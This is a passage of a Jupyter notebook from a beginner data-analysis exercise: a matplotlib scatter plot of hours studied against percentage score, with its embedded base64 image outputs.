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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "df.plot(x='Hours', y='Scores', style='o') \n", - "plt.title('Hours vs Percentage',fontweight=1000,fontsize = 20) \n", - "plt.xlabel('Hours Studied',fontweight=1000) \n", - "plt.ylabel('Percentage Score',fontweight=1000) \n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "id": "fd41d8f5", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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